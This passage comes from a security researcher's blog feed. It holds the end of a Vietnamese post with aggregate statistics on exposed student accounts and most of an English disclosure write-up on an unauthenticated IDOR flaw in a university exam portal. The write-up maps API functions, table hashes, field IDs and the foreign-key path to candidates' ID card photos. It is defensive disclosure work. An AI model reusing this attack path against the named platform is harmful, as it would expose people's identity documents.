      <td>Ngôn ngữ Nga</td>
      <td>1.542</td>
    </tr>
    <tr>
      <td>Ngôn ngữ Pháp</td>
      <td>1.497</td>
    </tr>
    <tr>
      <td>Công nghệ Thông tin</td>
      <td>1.490</td>
    </tr>
    <tr>
      <td>Quản trị Kinh doanh</td>
      <td>1.397</td>
    </tr>
  </tbody>
</table>

<p>41.226 tài khoản có dữ liệu ngành, trải rộng trên 56 chương trình.</p>

<p><strong>Loại hình đào tạo:</strong></p>

<table>
  <thead>
    <tr>
      <th>Loại hình</th>
      <th>Số lượng</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Chính quy</td>
      <td>32.076</td>
    </tr>
    <tr>
      <td>Đào tạo từ xa</td>
      <td>4.035</td>
    </tr>
    <tr>
      <td>Vừa làm vừa học</td>
      <td>1.576</td>
    </tr>
    <tr>
      <td>Văn bằng hai</td>
      <td>1.017</td>
    </tr>
    <tr>
      <td>Liên kết quốc tế</td>
      <td>402</td>
    </tr>
    <tr>
      <td>Song ngành</td>
      <td>366</td>
    </tr>
  </tbody>
</table>

<p><strong>Năm nhập học – Top 10:</strong></p>

<table>
  <thead>
    <tr>
      <th>Năm</th>
      <th>Số lượng</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>K2019</td>
      <td>4.720</td>
    </tr>
    <tr>
      <td>K2020</td>
      <td>4.526</td>
    </tr>
    <tr>
      <td>K2021</td>
      <td>4.281</td>
    </tr>
    <tr>
      <td>K2018</td>
      <td>3.941</td>
    </tr>
    <tr>
      <td>K2022</td>
      <td>3.615</td>
    </tr>
    <tr>
      <td>K2024</td>
      <td>3.023</td>
    </tr>
    <tr>
      <td>K2023</td>
      <td>3.017</td>
    </tr>
    <tr>
      <td>K2025</td>
      <td>2.918</td>
    </tr>
    <tr>
      <td>K2017</td>
      <td>2.805</td>
    </tr>
    <tr>
      <td>K2015</td>
      <td>2.031</td>
    </tr>
  </tbody>
</table>

<p>39.768 tài khoản có dữ liệu năm nhập học, trải dài từ K2008 đến K2025.</p>

<p><strong>Tình trạng Sinh viên:</strong></p>

<table>
  <thead>
    <tr>
      <th>Tình trạng</th>
      <th>Số lượng</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Đang theo học</td>
      <td>19.325</td>
    </tr>
    <tr>
      <td>Đã tốt nghiệp</td>
      <td>10.226</td>
    </tr>
    <tr>
      <td>Đã thôi học</td>
      <td>1.460</td>
    </tr>
    <tr>
      <td>Bảo lưu</td>
      <td>284</td>
    </tr>
    <tr>
      <td>Khác</td>
      <td>5</td>
    </tr>
  </tbody>
</table>

<p><strong>Dân tộc</strong> – 7.845 tài khoản:</p>

<table>
  <thead>
    <tr>
      <th>Dân tộc</th>
      <th>Số lượng</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Kinh (đa số)</td>
      <td>7.363</td>
    </tr>
    <tr>
      <td>Tày</td>
      <td>196</td>
    </tr>
    <tr>
      <td>Mường</td>
      <td>100</td>
    </tr>
    <tr>
      <td>Nùng</td>
      <td>77</td>
    </tr>
    <tr>
      <td>Sán Dìu</td>
      <td>23</td>
    </tr>
    <tr>
      <td>Thái</td>
      <td>19</td>
    </tr>
    <tr>
      <td>Dao</td>
      <td>14</td>
    </tr>
    <tr>
      <td>Khác (11 nhóm)</td>
      <td>53</td>
    </tr>
  </tbody>
</table>

<p><strong>Quốc tịch</strong> – 5.655 tài khoản: 5.621 Việt Nam, cùng 34 công dân nước ngoài từ Trung Quốc, Nhật Bản, Indonesia, Hàn Quốc, Thái Lan, Philippines, Đài Loan, New Zealand, và các nước khác.</p>

<p><strong>Tôn giáo</strong> – 5.476 tài khoản: 5.134 không, 215 Phật giáo, 104 Công giáo, 14 Tin lành, 8 khác, 1 Cơ đốc giáo.</p>

<blockquote>
  <p><strong>Lưu ý:</strong> Mã nguồn tái tạo chi tiết, thông tin đăng nhập cán bộ, và dữ liệu chưa biên tập đã được giữ lại, không công bố. Toàn bộ chi tiết kỹ thuật đã được chia sẻ với các bên bị ảnh hưởng trong quá trình công bố có trách nhiệm.</p>
</blockquote>]]></content><author><name>PHAM Hoang Phi</name></author><category term="Security" /><category term="IDOR" /><category term="Broken Access Control" /><category term="API Abuse" /><category term="Data Exposure" /><category term="Password Leak" /><category term="Account Takeover" /><category term="CVSS Critical" /><summary type="html"><![CDATA[Sau khi phát hiện 896 thẻ căn cước bị lộ ở Phần 1, tôi tiếp tục điều tra nền tảng mạng nội bộ của cùng nhà cung cấp tại Trường Đại học X. Kết quả nghiêm trọng hơn nhiều: 80.053 tài khoản, mật khẩu nhân viên trong phản hồi API, và chiếm quyền tài khoản hoàn toàn – tất cả không cần xác thực.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://hoangphi01.github.io/assets/posts/J0194R/1_uniplatform_after_access.png" /><media:content medium="image" url="https://hoangphi01.github.io/assets/posts/J0194R/1_uniplatform_after_access.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry xml:lang="en"><title type="html">How 896 ID Cards Were Exposed Through a Vietnamese University’s Exam Portal</title><link href="https://hoangphi01.github.io/blog/2026/03/24/en-universityx-candidate-data-exposure-CNMENU/" rel="alternate" type="text/html" title="How 896 ID Cards Were Exposed Through a Vietnamese University’s Exam Portal" /><published>2026-03-24T00:00:00+00:00</published><updated>2026-03-24T00:00:00+00:00</updated><id>https://hoangphi01.github.io/blog/2026/03/24/en-universityx-candidate-data-exposure-CNMENU</id><content type="html" xml:base="https://hoangphi01.github.io/blog/2026/03/24/en-universityx-candidate-data-exposure-CNMENU/"><![CDATA[<div style="border: 2px solid #b8860b; border-radius: 24px; padding: 16px 24px; margin: 1.5em auto; max-width: 700px; background: #fdf8e8;">
  <p style="margin: 0; font-weight: bold; color: #b8860b;"><svg xmlns="http://www.w3.org/2000/svg" height="20px" viewBox="0 -960 960 960" width="20px" fill="#b8860b" style="vertical-align: text-bottom; margin-right: 4px;"><path d="m438-338 226-226-57-57-169 169-84-84-57 57 141 141Zm42 258q-139-35-229.5-159.5T160-516v-244l320-120 320 120v244q0 152-90.5 276.5T480-80Zm0-84q104-33 172-132t68-220v-189l-240-90-240 90v189q0 121 68 220t172 132Zm0-316Z" /></svg>Update (June 23, 2026): Partially remediated</p>
  <p style="margin: 4px 0 0 0; font-size: 0.9em; color: #333;">Company Y has added server-side authentication on the XHR API gateway and blocked account-level IDOR. However, partial candidate data remains accessible, bulk ID enumeration still works, and CDN image access has regressed. <a href="#13-revalidation-update--june-23-2026">See revalidation details below.</a></p>
</div>

<div style="background: linear-gradient(90deg, #2d8a2d 0%, #2d8a2d 1%, #c8c820 1%, #c8c820 39%, #e88a1a 39%, #e88a1a 69%, #cc2020 69%, #cc2020 89%, #991a1a 89%, #991a1a 100%); border-radius: 6px; padding: 4px; max-width: 600px; margin: 1.5em auto; position: relative;">
  <div style="display: flex; justify-content: space-between; padding: 0 4px;">
    <span style="color: white; font-size: 0.65em; font-weight: bold;">LOW</span>
    <span style="color: white; font-size: 0.65em; font-weight: bold;">MEDIUM</span>
    <span style="color: white; font-size: 0.65em; font-weight: bold;">HIGH</span>
    <span style="color: white; font-size: 0.65em; font-weight: bold;">CRITICAL</span>
  </div>
</div>
<p style="text-align: center; font-weight: bold; font-size: 1.2em; color: #cc1a1a; margin-top: -0.5em;">CVSS 3.1: 9.1 (CRITICAL)</p>
<p style="text-align: center; font-size: 0.95em;">Vulnerability allows unauthenticated extraction of identity and biometric data.</p>

<h2 id="summary">Summary</h2>

<p>University X is one of Vietnam’s well-known public universities, with roughly 40,000 students across multiple faculties. Its Testing Center administers standardized language proficiency exams for hundreds of candidates each cycle. To register, candidates must submit deeply personal information: full legal name, date of birth, phone number, email, national ID (CCCD) number, and critically, high-resolution photos of the front and back of their government-issued identity cards. This data, if exposed, represents a complete identity dossier that cannot be “reset” like a password.</p>

<p>The discovery began with a routine Google search. A query for exam-related keywords returned a direct link to the Testing Center’s website, and clicking through revealed a candidate’s complete registration profile including their CCCD number and photos of their physical identity card publicly displayed on an open webpage. No login was required. No special tools. Just a Google search and a click.</p>

<p>Through reverse engineering the platform’s JavaScript framework, I confirmed that this was not an isolated incident. The entire system, built by a third-party vendor called Company Y on their “Connections” SaaS platform, had zero access controls separating public visitors from the database. All 896 candidates’ personal data including CCCD/CMND numbers, ethnicity, place of birth, and <strong>front and back photos of their national ID cards</strong> could be systematically extracted by anyone with a web browser.</p>

<h2 id="1-introduction">1. Introduction</h2>

<h3 id="11-background">1.1. Background</h3>

<p>University X is one of Vietnam’s well-known public universities, home to roughly 40,000 students across multiple faculties. It is particularly recognized for its foreign language and international studies programs. The university’s Testing Center operates a web system at <code class="language-plaintext highlighter-rouge">tec.universityx.vn</code> to administer standardized language proficiency exams such as VSTEP (Vietnamese Standardized Test of English Proficiency) for hundreds of candidates each cycle. The system handles the entire exam lifecycle: registration, room assignment, candidate list publication, and result announcements.</p>

<p>During registration, candidates must submit deeply personal information: full legal name, date of birth, phone number, email address, national ID (CCCD) number, ethnicity, and critically, high-resolution photos of the front and back of their government-issued identity cards. This data, if exposed, represents a complete identity dossier for each individual – one that, unlike a compromised password, can never be changed or revoked.</p>

<h3 id="12-third-party-platform-company-y">1.2. Third-Party Platform: Company Y</h3>

<p>Like many Vietnamese institutions, University X does not build or maintain its own software. Instead, the entire exam management system including the database, API (Application Programming Interface) layer, file storage, and CDN (Content Delivery Network) runs on a SaaS platform called “Connections,” developed and operated by <strong>Company Y</strong> (<code class="language-plaintext highlighter-rouge">companyy.com</code>).</p>

<p>This means University X handed over complete control of their candidates’ most sensitive data to an external vendor. The university likely trusts that this platform has proper security measures in place. The question this report answers: does it?</p>

<p>The answer is no. The Connections platform provides <strong>no access control boundary whatsoever</strong> between a random internet visitor and the personal data stored in its database.</p>

<h3 id="13-motivation-discovery-via-google-search">1.3. Motivation: Discovery via Google Search</h3>

<p>It started with a simple Google search. Searching for exam-related keywords returned a direct link to the Testing Center’s website. Clicking through revealed a candidate’s complete registration form: full name, date of birth, CCCD number, and even photos of their physical identity card – all displayed on a public webpage.</p>

<p>No login was required. No special tools. Just a Google search and a click.</p>

<p>This raised the critical question: <em>was this one candidate’s data accidentally exposed, or was every single candidate’s personal information wide open?</em></p>

<p>The answer, as this report demonstrates, is the latter.</p>

<p><img src="/assets/posts/CNMENU/1_public_on_the_internet.png" alt="Google search results showing candidate PII publicly indexed on the internet" />
<em>Figure 1: Google search results revealing candidate registration data including full name, date of birth, and CCCD number – publicly indexed and accessible to anyone.</em></p>

<h3 id="14-scope-and-ethics">1.4. Scope and Ethics</h3>

<p>The research was conducted strictly for security assessment purposes:</p>

<ul>
  <li>All data access used publicly available endpoints.</li>
  <li>No authentication was bypassed - because none existed to bypass.</li>
  <li>No data was modified, deleted, or exfiltrated to third parties.</li>
  <li>No brute-force attacks were performed against protected resources.</li>
  <li>The techniques described replicate what any internet user with basic technical knowledge could perform through a web browser’s developer console.</li>
</ul>

<h3 id="15-technical-attack-classification">1.5. Technical Attack Classification</h3>

<p>The following MITRE ATT&amp;CK techniques and OWASP categories are relevant to the methods used in this research:</p>

<table>
  <thead>
    <tr>
      <th>Technique</th>
      <th>Framework</th>
      <th>Application in Research</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>IDOR (Insecure Direct Object Reference)</td>
      <td>OWASP Top 10</td>
      <td>Database object IDs used directly in unauthenticated API calls</td>
    </tr>
    <tr>
      <td>Broken Access Control</td>
      <td>OWASP Top 10</td>
      <td>No authentication on any API endpoint</td>
    </tr>
    <tr>
      <td>API Abuse</td>
      <td>OWASP API Top 10</td>
      <td>Unlimited access to search and data retrieval operations</td>
    </tr>
    <tr>
      <td>Reconnaissance (T1592)</td>
      <td>MITRE ATT&amp;CK</td>
      <td>Google dorking to discover indexed PII pages</td>
    </tr>
    <tr>
      <td>Active Scanning (T1595)</td>
      <td>MITRE ATT&amp;CK</td>
      <td>Probing API endpoints and database schema</td>
    </tr>
    <tr>
      <td>Data from Info Repos (T1213)</td>
      <td>MITRE ATT&amp;CK</td>
      <td>Extracting data from exposed database APIs</td>
    </tr>
    <tr>
      <td>JS API Hijacking</td>
      <td>Web Security</td>
      <td>Invoking internal framework functions via <code class="language-plaintext highlighter-rouge">page.evaluate()</code></td>
    </tr>
    <tr>
      <td>Foreign Key Traversal</td>
      <td>Database Security</td>
      <td>Following foreign keys to discover hidden tables</td>
    </tr>
    <tr>
      <td>CDN URL Harvesting</td>
      <td>Web Security</td>
      <td>Extracting encoded image URLs from rendered DOM</td>
    </tr>
  </tbody>
</table>

<h2 id="2-infrastructure-mapping-university-x-company-y-and-connections">2. Infrastructure Mapping: University X, Company Y, and Connections</h2>

<p>Before diving into the vulnerability, it is important to understand who actually runs this system and how the pieces fit together. The Testing Center’s website is not what it appears to be on the surface.</p>

<h3 id="21-discovering-the-vendor-relationship">2.1. Discovering the Vendor Relationship</h3>

<p>The first step in the analysis was understanding who actually operates the infrastructure behind <code class="language-plaintext highlighter-rouge">tec.universityx.vn</code>. Inspecting the HTML source revealed that the web application loads its core JavaScript framework from external domains:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"https://cdn.companyy.com/js/jquery.main.isj"</span><span class="nt">&gt;&lt;/script&gt;</span>
<span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"https://cdn.companyy.com/js/include.core.isj"</span><span class="nt">&gt;&lt;/script&gt;</span>
</code></pre></div></div>

<p>The domain <code class="language-plaintext highlighter-rouge">companyy.com</code> belongs to <strong>Company Y</strong>, a technology company in Vietnam. Further analysis revealed a sprawling multi-domain infrastructure:</p>

<table>
  <thead>
    <tr>
      <th>Domain</th>
      <th>Role</th>
      <th>Relationship to University X</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">companyy.com</code></td>
      <td>Company domain</td>
      <td>Platform vendor</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">cdn.companyy.com</code></td>
      <td>JavaScript CDN</td>
      <td>Delivers JS/CSS framework</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">xhr.companyy.com</code></td>
      <td>API gateway</td>
      <td>Handles all XHR (XMLHttpRequest - background data exchange API) calls to the database</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">tts.companyy.vn</code></td>
      <td>Framework server</td>
      <td>Hosts application configuration files</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">connections.vn</code></td>
      <td>Platform brand</td>
      <td>“Connections” SaaS platform</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">connections.universityx.vn</code></td>
      <td>University X-specific API</td>
      <td>Dedicated API endpoint for University X</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">local.universityx.connections.vn</code></td>
      <td>File storage</td>
      <td>Stores PDFs and uploaded files</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">i0.connections.vn</code></td>
      <td>Image CDN (node 0)</td>
      <td>Serves ID card photos</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">i3.connections.vn</code></td>
      <td>Image CDN (node 3)</td>
      <td>Serves ID card photos</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">thuctap.companyy.com</code></td>
      <td>CSS server</td>
      <td>Delivers CSS for sub-applications</td>
    </tr>
  </tbody>
</table>

<h3 id="22-connections-platform-architecture">2.2. “Connections” Platform Architecture</h3>

<p>The “Connections” platform appears to be a general-purpose SaaS framework similar to Salesforce or Airtable – providing:</p>

<ul>
  <li>A <strong>database layer</strong> where tables are identified by 32-character hexadecimal hashes</li>
  <li>A <strong>client-side JavaScript framework</strong> with Vietnamese API functions (<code class="language-plaintext highlighter-rouge">xửLý</code>, <code class="language-plaintext highlighter-rouge">CĂN.db</code>, <code class="language-plaintext highlighter-rouge">config</code>)</li>
  <li>A <strong>file storage CDN</strong> at <code class="language-plaintext highlighter-rouge">local.{org}.connections.vn</code></li>
  <li>An <strong>image CDN</strong> at <code class="language-plaintext highlighter-rouge">i{N}.connections.vn</code> with encoded URL parameters</li>
  <li>A <strong>multi-tenant architecture</strong> where multiple organizations (University X, and potentially others) share the same infrastructure</li>
</ul>

<p>The critical security implication: University X’s candidate data including ID card photos is stored on and served by Company Y’s shared infrastructure, not on servers controlled by University X.</p>

<h3 id="23-subdomain-structure-and-data-flow">2.3. Subdomain Structure and Data Flow</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>User's Browser
    |
    |-- (1) GET tec.universityx.vn/page
    |         |-- Loads HTML skeleton
    |
    |-- Loads JS from cdn.companyy.com
    |         |-- Loads CSS from thuctap.companyy.com
    |
    |-- (2) XHR to xhr.companyy.com/xhr/ (or connections.universityx.vn/xhr/)
    |
    |-- "doiTuong.tai.{table_hash}" = database query
    |         |-- Returns list of object IDs
    |
    |-- (3) XHR to xhr.companyy.com/xhr/
    |         |-- "CAN.db({table}.{id})" = load object
    |
    |-- Returns ALL fields including CCCD, phone number, etc.
    |
    |-- (4) GET local.universityx.connections.vn/upload/{cat}/{date}/{file}
    |
    |-- Downloads PDF files (candidate lists)
    |
    |-- (5) GET i0.connections.vn/{encoded_path}?q={encoded_token}
              |-- Downloads ID card photos (front/back)
</code></pre></div></div>

<p><strong>None of these requests require authentication.</strong></p>

<h2 id="3-reverse-engineering-the-database-structure">3. Reverse Engineering the Database Structure</h2>

<p>The next step was understanding how the database is organized. This involved reading the website’s JavaScript code, which turned out to be written entirely in Vietnamese, and discovering that database table identifiers and record IDs are passed around without any security checks.</p>

<h3 id="31-phase-1-url-structure-analysis">3.1. Phase 1: URL Structure Analysis</h3>

<p>The initial URL indexed by Google provided the first clue about the database structure:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://tec.universityx.vn/7fdc5fa41f345xxxx4bba6b0d3e449385/1518250/2368M35018
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  ^^^^^^^  ^^^^^^^^^^
                    Table hash (Registration)         Obj ID   File number
</code></pre></div></div>

<p>This URL directly exposes:</p>
<ol>
  <li><strong>Registration table hash</strong>: <code class="language-plaintext highlighter-rouge">7fdc5fa41f345xxxx4bba6b0d3e449385</code></li>
  <li><strong>Registration object ID</strong>: <code class="language-plaintext highlighter-rouge">1518250</code></li>
  <li><strong>Candidate’s file number</strong>: <code class="language-plaintext highlighter-rouge">2368M35018</code></li>
</ol>

<h3 id="32-phase-2-reverse-engineering-the-javascript-framework">3.2. Phase 2: Reverse Engineering the JavaScript Framework</h3>

<p>The framework source at <code class="language-plaintext highlighter-rouge">cdn.companyy.com/js/include.core.isj</code> is heavily minified and uses Vietnamese identifiers. Through runtime analysis (executing functions in the browser console and observing XHR traffic), I identified the core API functions:</p>

<table>
  <thead>
    <tr>
      <th>Function</th>
      <th>Discovered Behavior</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">xửLý(action, params, opts, cb)</code></td>
      <td>Main dispatcher. Sends XHR to <code class="language-plaintext highlighter-rouge">xhr.companyy.com/xhr/</code>. The <code class="language-plaintext highlighter-rouge">action</code> string determines the operation.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">CĂN.db(key, callback)</code></td>
      <td>Loads a database object by key (format: <code class="language-plaintext highlighter-rouge">table_hash.object_id</code>). Caches results in local memory.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">config(key)</code></td>
      <td>Retrieves a previously loaded object from local cache. Returns a JavaScript object with field IDs (numbers) as keys.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dữLiệu</code></td>
      <td>Global object containing the page’s data context.</td>
    </tr>
  </tbody>
</table>

<h3 id="33-phase-3-discovering-database-schema-via-idor">3.3. Phase 3: Discovering Database Schema via IDOR</h3>

<p>The key discovery was that the API uses <strong>Insecure Direct Object References (IDOR)</strong>: database table hashes and object IDs are passed directly from client to server with no authorization checks. This allowed me to:</p>

<ol>
  <li><strong>Obtain the Registration table hash</strong> (visible in the URL)</li>
  <li><strong>Query the Registration table</strong> using <code class="language-plaintext highlighter-rouge">xửLý("đốiTượng.tải.{hash}", ...)</code> with arbitrary field filters</li>
  <li><strong>Load a Registration object</strong> and inspect all its fields – discovering field IDs, data types, and foreign key references</li>
  <li><strong>Discover the Candidate table hash</strong> by following the foreign key in field <code class="language-plaintext highlighter-rouge">1686869</code> (Candidate ID), which references objects in table <code class="language-plaintext highlighter-rouge">3576ff3533bb4xxxx8e394a0aa83a461f</code></li>
  <li><strong>Load Candidate objects</strong> to access the full set of personal data fields</li>
</ol>

<h3 id="34-phase-4-field-by-field-mapping">3.4. Phase 4: Field-by-Field Mapping</h3>

<p>Each database object is returned as a dictionary with numeric string keys (field IDs). I mapped them by:</p>
<ol>
  <li>Loading multiple candidate objects</li>
  <li>Cross-referencing field values with rendered page content</li>
  <li>Identifying field types (string, integer, date, reference, file)</li>
</ol>

<h4 id="field-type-system">Field Type System</h4>

<p>The framework uses single Vietnamese characters to mark field types in stored values:</p>

<table>
  <thead>
    <tr>
      <th>Symbol</th>
      <th>Storage Format</th>
      <th>Meaning</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>(none)</td>
      <td>Plain string/number</td>
      <td>Direct value (name, phone, CCCD)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">{"ậ":["ID"]}</code></td>
      <td>JSON with reference ID</td>
      <td>Reference to another object (ethnicity, province)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">{"ị":["ID"]}</code></td>
      <td>JSON with file ID</td>
      <td>Reference to an uploaded file/image</td>
    </tr>
  </tbody>
</table>

<p>The <code class="language-plaintext highlighter-rouge">"ậ"</code> (reference) type stores a pointer to a lookup object for example, the ethnicity field <code class="language-plaintext highlighter-rouge">1626773</code> stores <code class="language-plaintext highlighter-rouge">{"ậ":["146992"]}</code>, which resolves to “Kinh” when the page renders. The <code class="language-plaintext highlighter-rouge">"ị"</code> (file) type stores a pointer to an uploaded file for example, field <code class="language-plaintext highlighter-rouge">1658487</code> stores <code class="language-plaintext highlighter-rouge">{"ị":["4296"]}</code>, which resolves to a CCCD photo on the image CDN.</p>

<h4 id="registration-table-field-map-reverse-engineered">Registration Table Field Map (Reverse Engineered)</h4>

<table>
  <thead>
    <tr>
      <th>Field ID</th>
      <th>Field Name</th>
      <th>Type</th>
      <th>Example</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1626725</td>
      <td>Exam Session ID</td>
      <td>Foreign Key (FK)</td>
      <td>54914</td>
    </tr>
    <tr>
      <td>1626730</td>
      <td>File Number</td>
      <td>String</td>
      <td>2368M35018</td>
    </tr>
    <tr>
      <td>1630529</td>
      <td>Status Code</td>
      <td>Integer</td>
      <td>1</td>
    </tr>
    <tr>
      <td>1630538</td>
      <td>Active Flag</td>
      <td>Boolean</td>
      <td>1</td>
    </tr>
    <tr>
      <td>1642331</td>
      <td>SBD (Exam Seat Number)</td>
      <td>String</td>
      <td>AN1001</td>
    </tr>
    <tr>
      <td>1654914</td>
      <td>Registration Timestamp</td>
      <td>Timestamp</td>
      <td>1726716820</td>
    </tr>
    <tr>
      <td>1686869</td>
      <td>Candidate ID</td>
      <td>Foreign Key (FK)</td>
      <td>582319</td>
    </tr>
    <tr>
      <td>1704995</td>
      <td>Scores</td>
      <td>JSON</td>
      <td>[{“nghe”:”8.5”}]</td>
    </tr>
    <tr>
      <td>mãĐịnhDanh</td>
      <td>Identifier Code</td>
      <td>String</td>
      <td>V2KT2106AN1114</td>
    </tr>
    <tr>
      <td>tổngTiền</td>
      <td>Exam Fee</td>
      <td>Integer</td>
      <td>1800000</td>
    </tr>
  </tbody>
</table>

<h4 id="candidate-table-field-map-reverse-engineered">Candidate Table Field Map (Reverse Engineered)</h4>

<table>
  <thead>
    <tr>
      <th>Field ID</th>
      <th>Field Name</th>
      <th>Type</th>
      <th>Example / Notes</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1686868</td>
      <td>Full Name</td>
      <td>String</td>
      <td>Nguyễn Thị xxxx Trà</td>
    </tr>
    <tr>
      <td>1626768</td>
      <td>Last Name &amp; Middle Name</td>
      <td>String</td>
      <td>Nguyễn Thị Linh</td>
    </tr>
    <tr>
      <td>1626772</td>
      <td>First Name</td>
      <td>String</td>
      <td>Trà</td>
    </tr>
    <tr>
      <td>1626773</td>
      <td><strong>Ethnicity</strong></td>
      <td><strong>Reference</strong></td>
      <td>{“ậ”:[“146992”]} → Kinh</td>
    </tr>
    <tr>
      <td>1626783</td>
      <td>Date of Birth</td>
      <td>Date</td>
      <td>28/09/2000</td>
    </tr>
    <tr>
      <td>1626784</td>
      <td>Gender</td>
      <td>Enum</td>
      <td>1=Male, 2=Female</td>
    </tr>
    <tr>
      <td>1626788</td>
      <td>Phone Number</td>
      <td>String</td>
      <td>037xxxx973</td>
    </tr>
    <tr>
      <td>1626793</td>
      <td>Email</td>
      <td>String</td>
      <td>email@gmail.com</td>
    </tr>
    <tr>
      <td>1626818</td>
      <td><strong>Place of Birth</strong></td>
      <td><strong>Reference</strong></td>
      <td>{“ậ”:[“147000”]} → Bắc Kạn Province</td>
    </tr>
    <tr>
      <td>1626820</td>
      <td>Province/City (Current)</td>
      <td>Reference</td>
      <td>{“ậ”:[“146999”]}</td>
    </tr>
    <tr>
      <td>1646777</td>
      <td>CCCD/CMND Number</td>
      <td>String</td>
      <td>0222xxxx2576</td>
    </tr>
    <tr>
      <td>1658487</td>
      <td><strong>CCCD Photo (Front)</strong></td>
      <td><strong>File Reference</strong></td>
      <td>{“ị”:[“4296”]}</td>
    </tr>
    <tr>
      <td>1658488</td>
      <td><strong>CCCD Photo (Back)</strong></td>
      <td><strong>File Reference</strong></td>
      <td>{“ị”:[“243”]}</td>
    </tr>
    <tr>
      <td>2102859</td>
      <td>Workplace</td>
      <td>String</td>
      <td>Free text</td>
    </tr>
  </tbody>
</table>

<h3 id="35-phase-5-foreign-key-traversal-diagram">3.5. Phase 5: Foreign Key Traversal Diagram</h3>

<p>The complete traversal path from a public URL to ID card photos:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+-------------------------------------------+
|           Public URL                      |
|  tec.universityx.vn/{hash}/{id}/{file}           |
+---------------------+---------------------+
                      |
          exposes table hash + object ID
                      |
                      v
+-------------------------------------------+
|        Registration Object                |
|  Table: 7fdc5fa4...                       |
|  Contains SBD, file number                |
+---------------------+---------------------+
                      |
           foreign key field 1686869
                      |
                      v
+-------------------------------------------+
|        Candidate Object                   |
|  Table: 3576ff35...                       |
|  Contains ALL PII                         |
+----------+----------------+---------------+
           |                |
           v                v
+-------------------+  +----------------------+
| Personal Data     |  | ID Card Photos       |
| CCCD, Phone,      |  | Front + Back         |
| Email, Ethnicity, |  | on i0.connections.vn  |
| Place of Birth    |  |                      |
+-------------------+  +----------------------+
</code></pre></div></div>

<h2 id="4-cdn-discovery-image-and-file-infrastructure">4. CDN Discovery: Image and File Infrastructure</h2>

<p>Identity card photos are stored on a separate image server, not in the database itself. Understanding how these image URLs are generated was key to proving that photos could be downloaded in bulk by anyone.</p>

<h3 id="41-static-file-cdn-localuniversityxconnectionsvn">4.1. Static File CDN: <code class="language-plaintext highlighter-rouge">local.universityx.connections.vn</code></h3>

<p>All uploaded documents (PDFs, candidate lists) are stored on a static file server with a predictable URL structure:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://local.universityx.connections.vn/upload/{category_id}/{YYYY/MM/DD}/{uuid_filename}
</code></pre></div></div>

<p>File metadata including all URL components is embedded in the main page’s HTML as a cached JSON blob. The metadata uses minified Vietnamese field names:</p>

<table>
  <thead>
    <tr>
      <th>JSON Key</th>
      <th>Meaning</th>
      <th>Example</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">"i"</code></td>
      <td>File ID</td>
      <td>534167</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">"ạ"</code></td>
      <td>Category ID</td>
      <td>25</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">"ô"</code></td>
      <td>Server hostname</td>
      <td>local.universityx.connections.vn</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">"ớ"</code></td>
      <td>Date path</td>
      <td>2024/09/19</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">"ũ"</code></td>
      <td>Original filename</td>
      <td>Danh sach phong thi.pdf</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">"ợ"</code></td>
      <td>Server filename (UUID)</td>
      <td>f2247559bcac…03.pdf</td>
    </tr>
  </tbody>
</table>

<p>I discovered <strong>32 candidate list PDFs</strong> by parsing this metadata and filtering for filenames containing “danh sach” or “phong thi.” I encountered a critical bug: JSON-escaped forward slashes in the date path (<code class="language-plaintext highlighter-rouge">2024\/09\/19</code>) caused HTTP 404 errors until I added path unescaping logic to the code.</p>

<h3 id="42-image-cdn-inconnectionsvn">4.2. Image CDN: <code class="language-plaintext highlighter-rouge">i{N}.connections.vn</code></h3>

<p>The most sensitive discovery was the image CDN infrastructure. ID card photos are served from a load-balanced CDN with nodes <code class="language-plaintext highlighter-rouge">i0.connections.vn</code>, <code class="language-plaintext highlighter-rouge">i3.connections.vn</code>, etc.</p>

<h4 id="encoded-image-urls">Encoded Image URLs</h4>

<p>Unlike the static file CDN (which uses human-readable paths), the image CDN uses <strong>encoded/obfuscated paths and query parameters</strong>:</p>

